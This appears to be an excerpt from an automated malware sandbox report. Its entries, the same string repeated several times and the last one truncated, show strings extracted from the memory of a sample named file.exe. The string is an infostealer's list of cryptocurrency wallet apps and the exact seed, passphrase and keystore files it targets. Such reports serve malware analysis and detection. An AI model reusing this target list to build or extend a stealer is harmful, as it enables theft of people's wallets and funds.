Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 